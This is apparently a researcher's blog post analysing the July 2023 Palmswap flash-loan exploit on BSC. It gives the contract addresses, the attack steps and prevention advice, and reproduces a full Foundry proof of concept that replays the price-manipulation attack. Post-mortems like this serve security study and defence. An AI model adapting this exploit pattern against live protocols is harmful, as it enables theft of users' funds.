Hack Analysis: Palmswap, July 2023

·

4 min read

Palmswap experienced a flash loan exploit on July 24, 2023, which led to the unfortunate outcome of losing ~ ~$900K. The underlying reason for the exploit was the manipulation of the $PLP price, which is established based on the quantity of $USDT in the Vault contract and the supply of $USDP. The attacker managed to manipulate the quantity of $BUSDT within the Vault by executing the buyUSDP function.

Background

Palmswap v2 provides a liquidity-efficient, powerful, and user-friendly decentralized leverage trading platform.

While legacy decentralized applications and exchanges continue to deal with high execution costs, low performance, and other trade inefficiencies, Palmswap v2 was built as a 'next-gen' platform to overcome familiar DEX issues including front-running, slippage, asset limitations, and lack of risk management features.

Unique synthetic architecture makes Palmswap more capital-efficient than any existing platform. It allows for low trading fees and a wide range of levers and pairs: up to 50x on cryptocurrencies.

The audit was done by Zokyo team. Here it is

Hack Analysis

Vulnerable Contract:

  1. LiquidityEvent - 0xd990094a611c3de34664dd3664ebf979a1230fc1

  2. Vault - 0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A

Exploit Transaction: 0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9

Attacker: 0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366

Attack steps:

  1. Initially, the attacker utilizes flash loans to borrow 3,000,000 BUSDT and then proceeds to add liquidity and mint PLP tokens with 1,000,000 BUSDT by calling purchasePlp function

  1. Transfer 2,000,000 BUSDT to the Vault and trigger buyUSDP function to get to acquire USDP tokens. Subsequently, these acquired USDP tokens are employed to calculate the amount of PLP tokens that should be generated. buyUSDP functions seems like not to be called by anyone except manager, but allows anyone to buy $USDP thought the vault and unfortunately manipulate the price.

  2. After that attacker calls unstakeAndRedeemPlp function to redeem more than he supposed due to manipulated price

  3. And finally, sell his $USDPT to $BUSD to get his profit ~$900K

How to prevent

A cooldown mechanism was supposed to prevent the occurrence of such a scenario; however, the exploit was able to bypass this protection as the cooldownDuration was initialized to zero.

I would also recommend that the project team take into account the timing of liquidity injection and implement stringent access controls for core functions. Like, add a timelock on buy and sell liquidity. These measures are aimed at preventing similar incidents from happen in the future.

POC

Here is a POC that is taking from DeFiHackLabs for better understanding exploit, you can see all the steps here

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface IVault {
    function buyUSDP(address _receiver) external returns (uint256);

    function sellUSDP(address _receiver) external returns (uint256);
}

interface ILiquidityEvent {
    function purchasePlp(
        uint256 _amountIn,
        uint256 _minUsdp,
        uint256 _minPlp
    ) external returns (uint256 amountOut);

    function unstakeAndRedeemPlp(
        uint256 _plpAmount,
        uint256 _minOut,
        address _receiver
    ) external returns (uint256);
}

contract PalmswapTest is Test {
    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);
    IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);
    IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);
    ILiquidityEvent LiquidityEvent =
        ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);
    IAaveFlashloan RadiantLP =
        IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);
    address private constant plpManager =
        0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;
    address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 30248637);
        cheats.label(address(BUSDT), "BUSDT");
        cheats.label(address(PLP), "PLP");
        cheats.label(address(USDP), "USDP");
        cheats.label(address(Vault), "Vault");
        cheats.label(address(LiquidityEvent), "LiquidityEvent");
        cheats.label(address(RadiantLP), "RadiantLP");
        cheats.label(plpManager, "plpManager");
        cheats.label(fPLP, "fPLP");
    }

    function testExploit() public {
        deal(address(BUSDT), address(this), 0);
        BUSDT.approve(plpManager, type(uint256).max);
        BUSDT.approve(address(RadiantLP), type(uint256).max);
        PLP.approve(fPLP, type(uint256).max);

        emit log_named_decimal_uint(
            "Attacker balance of BUSDT before exploit",
            BUSDT.balanceOf(address(this)),
            BUSDT.decimals()
        );

        takeFlashLoanOnRadiant();

        emit log_named_decimal_uint(
            "Attacker balance of BUSDT after exploit",
            BUSDT.balanceOf(address(this)),
            BUSDT.decimals()
        );
    }

    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        // Add liquidity. Exchange rate between USDP and PLP is 1:1
        uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);

        BUSDT.transfer(address(Vault), 2_000_000 * 1e18);
        Vault.buyUSDP(address(this));
        // Remove liquidity. Exchange rate between USDP and PLP is 1:1.9.
        // Attacker is able to exchange for 1.9 times more USDP
        uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(
            amountOut - 13_294 * 1e15,
            0,
            address(this)
        );

        USDP.transfer(address(Vault), amountUSDP - 3_154 * 1e18);
        Vault.sellUSDP(address(this));

        return true;
    }

    function takeFlashLoanOnRadiant() internal {
        address[] memory assets = new address[](1);
        assets[0] = address(BUSDT);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 3_000_000 * 1e18;
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;
        RadiantLP.flashLoan(
            address(this),
            assets,
            amounts,
            modes,
            address(this),
            bytes(""),
            0
        );
    }
}

About 0xVolodya

0xVolodya is an independent smart contract security researcher. Ranked #2 on the 60-day leaderboard and ranked #2 on the 90-day leaderboard at code4rena. Currently available for projects. dm me on Twitter 0xVolodya.